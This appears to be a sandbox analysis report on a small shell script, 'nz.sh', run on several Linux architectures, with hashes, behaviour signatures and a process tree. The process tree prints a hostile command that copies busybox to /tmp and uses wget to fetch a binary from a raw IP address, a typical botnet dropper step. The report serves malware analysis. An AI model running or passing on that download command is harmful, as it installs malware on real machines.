Overview

overview

3

Static

static

1

nz.sh

ubuntu-18.04-amd64

3

nz.sh

debian-9-armhf

3

nz.sh

debian-9-mips

3

nz.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    22/08/2026, 06:13

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General

  • Target
    nz.sh
  • Size 2KB
  • Sample260822-gy4mcsfl21
  • SHA256 fe98fedbcff5972438347ac96dcc0e024447c61e25bbd2549aabd86c4d760bc6
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/nz.sh
    /tmp/nz.sh
    1⤵
      PID:1540
      • /bin/cp
        cp /bin/busybox /tmp/
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1541
      • /usr/bin/wget
        wget http://31.56.209.153/nz/nz.x86
        2⤵
          PID:1544

      Network

            MITRE ATT&CK Matrix

            Replay Monitor

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            Downloads

            busybox
            • Path /tmp/busybox
            • Size 2.0MB
            • SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
            • MD5 SHA1 SHA512 SSDEEP TLSH
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